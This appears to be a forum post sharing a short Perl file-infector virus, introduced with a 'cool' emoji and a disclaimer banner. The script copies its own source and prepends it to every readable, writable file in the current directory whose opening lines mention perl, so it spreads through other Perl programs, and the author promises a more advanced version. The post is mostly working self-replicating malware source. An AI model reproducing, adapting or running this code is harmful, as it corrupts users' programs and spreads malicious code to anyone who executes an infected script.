A litle something I did with perl :cool:
#!/usr/bin/perl

sub header ()
{ print q {
***************************************
Artificial Life *
I am not responsible of how you use *
this program.The program it is coded *
for informational purposes only ! *
Simple virus that can be tested *
in a single directory.I am going to *
publish a advanced vir but later.*
***************************************
}
}

sub routine()
{ header();
print q {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
coded by fl0 fl0w &
flo_flow_supremacy[dot]com &
Caracteristics -it finds all perl &
programs and modifies the execution &
by attaching itself to the actual &
source. &
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
};
exit();
}
open(file,$0);
@virus=<file>;
close(file);

foreach $filename (<*>)
{ if((-r $filename) && (-w $filename) && (-f $filename) )

{ open(file,"$filename");
@aux=<file>;
close(file);

if((@aux[0]=~"perl") or (@aux[1]=~"perl"))
{
open(file,">$filename");
print file @virus;
print file @aux;
close(file);
}
}